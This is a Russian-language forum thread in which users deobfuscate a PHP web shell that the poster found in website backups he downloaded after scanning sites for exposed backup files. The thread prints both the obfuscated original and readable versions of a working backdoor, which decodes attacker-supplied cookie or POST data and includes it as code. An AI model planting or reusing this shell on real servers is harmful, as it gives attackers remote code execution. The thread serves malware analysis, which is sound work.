LINUX.ORG.RU

Кто сможет расшифровать шелл?

 ,


0

1

Я сканировал сайты на предмет наличия бекапов в корне, выкачал…

И нашел такие файлы в бекапе:

<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = hf1(Array(10,10,19,16,13,10,7,37,15,19,42,16,32,15,12,10,12,7,15,42,13,10,13,15,41,18,14,12,12,30,37,14,41,18,20,32));$bi6[] = hf1(Array(9,29,4,29,40,27,2,21,17,5,21,28,47,44,44,1,6,48,35,44,44,36,3,40));$bi6[] = hf1(Array(38,25,8,19,2,17,13));$bi6[] = hf1(Array(45,33));$bi6[] = hf1(Array(38,31));$bi6[] = hf1(Array(39));$bi6[] = hf1(Array(23));$bi6[] = hf1(Array(46,5,17,13,44,29,2,22,44,14,8,21,22,13,21,22,24));$bi6[] = hf1(Array(18,11,11,18,26,44,25,13,11,50,13));$bi6[] = hf1(Array(24,22,11,44,11,13,29,13,18,22));$bi6[] = hf1(Array(13,0,29,17,8,19,13));$bi6[] = hf1(Array(24,2,43,24,22,11));$bi6[] = hf1(Array(2,21,17,5,21,28));$bi6[] = hf1(Array(24,22,11,17,13,21));$bi6[] = hf1(Array(29,18,14,28));$bi6[] = hf1(Array(25,19,7));foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}

Может кто криптер опознал? Сомнения что это шелл, который вызывает в итоге что-то типа passthru($_REQUEST['cmd']) у меня тащемта нет… Кто любит шарады и сможет восстановить исходный файл?

Отформатируй его с нормальными отступами, затем выполняй по частям не доводя дело до eval-ов, вызовов функций в виде $varname() и подобного (их смотри вруучную и там уже всё просто будет).

firkax ★★★★★
()
function qd8($name, $valueLen)
{
    return substr(
        str_repeat(
            $name . "66d7e659-d870-4645-8e6e-2ac4419c2a30",
            ($valueLen / strlen($name)) + 1
        )
        ,
        0,
        $valueLen
    );
}

function inject($ks12)
{
    if (isset($ks12[2])) {
        $mh13 = "./" . md5("66d7e659-d870-4645-8e6e-2ac4419c2a30") . ".module";
        @file_put_contents($mh13, "<?php @unlink(__FILE__);" . $ks12[1]($ks12[2]));
        @include ($mh13);
        @unlink($mh13);
        exit();
    }
}
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
    $value = @pack("H*", $value);
    inject(explode("#", $value ^ qd8($key, strlen($value))));
}

Дальше лень. Там уже немного осталось ))

Сам пейлоад, вероятно, передавался в теле post-запроса в виде шестнадцатиричной строки. В коде выше - только распаковка уже.

aol ★★★★★
()
Последнее исправление: aol (всего исправлений: 3)
Ответ на: комментарий от aol
>>> def decode(a):
...     lgbt = "xFu;hiI5o?6r" + "4ec-7lad3nt<s" + "my@kp1/" + "0*vE)9.# 28b_Hf(L" + "'" + "g"
...     return ''.join(lgbt[i] for i in a)
... 
>>> import re
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + >>> print(re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + decode(map(int, m.group(1).split(','))) + '"', s))
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";$bi6[] = "?php @unlink(__FILE__); ";$bi6[] = ".module";$bi6[] = "H*";$bi6[] = "./";$bi6[] = "#";$bi6[] = "<";$bi6[] = "file_put_contents";$bi6[] = "array_merge";$bi6[] = "str_repeat";$bi6[] = "explode";$bi6[] = "substr";$bi6[] = "unlink";$bi6[] = "strlen";$bi6[] = "pack";$bi6[] = "md5";foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
>>>
<?php
function hf1($es2)
{
    $sv3 = "xFu;hiI5o?6r" . "4ec-7lad3nt<s" . "my@kp1/" . "0*vE)9.# 28b_Hf(L" . "'" . "g";
    $qj5 = '';
    foreach ($es2 as $gi4) {
        $qj5 .= $sv3[$gi4];
    }
    return $qj5;
}
$bi6   = Array();
$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[] = "?php @unlink(__FILE__); ";
$bi6[] = ".module";
$bi6[] = "H*";
$bi6[] = "./";
$bi6[] = "#";
$bi6[] = "<";
$bi6[] = "file_put_contents";
$bi6[] = "array_merge";
$bi6[] = "str_repeat";
$bi6[] = "explode";
$bi6[] = "substr";
$bi6[] = "unlink";
$bi6[] = "strlen";
$bi6[] = "pack";
$bi6[] = "md5";
foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11) {
    function qd8($bi6, $zl14, $cy10)
    {
        return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);
    }
    function mb7($bi6, $ks12)
    {
        return @$bi6[14]($bi6[3], $ks12);
    }
    function ey9($bi6, $ks12)
    {
        if (isset($ks12[2])) {
            $mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];
            @$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));
            @include($mh13);
            @$bi6[12]($mh13);
            exit();
        }
    }
    $pt11 = mb7($bi6, $pt11);
    ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));
}
rtxtxtrx ★★
() автор топика
Последнее исправление: rtxtxtrx (всего исправлений: 3)
Ответ на: комментарий от aol
$bi6   = Array();
$bi6[0] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[1] = "?php @unlink(__FILE__); ";
$bi6[2] = ".module";
$bi6[3] = "H*";
$bi6[4] = "./";
$bi6[5] = "#";
$bi6[6] = "<";
$bi6[7] = "file_put_contents";
$bi6[8] = "array_merge";
$bi6[9] = "str_repeat";
$bi6[10] = "explode";
$bi6[11] = "substr";
$bi6[12] = "unlink";
$bi6[13] = "strlen";
$bi6[14] = "pack";
$bi6[15] = "md5";

foreach (array_merge($_COOKIE, $_POST) as $zl14 => $pt11) {
    function qd8($bi6, $zl14, $cy10)
    {
        return substr(str_repeat($zl14 . "66d7e659-d870-4645-8e6e-2ac4419c2a30", ($cy10 / strlen($zl14)) + 1), 0, $cy10);
    }
    function mb7($bi6, $ks12)
    {
        return pack("H*", $ks12);
    }
    function ey9($bi6, $ks12)
    {
        if (isset($ks12[2])) {
            $mh13 = "./" . md5("66d7e659-d870-4645-8e6e-2ac4419c2a30") . ".module";
            @file_put_contents($mh13, "<?php @unlink(__FILE__); " . $ks12[1]($ks12[2]));
            @include($mh13);
            @unlink($mh13);
            exit();
        }
    }
}

какая-то хрень. короче неинтересный шелл

rtxtxtrx ★★
() автор топика
Последнее исправление: rtxtxtrx (всего исправлений: 1)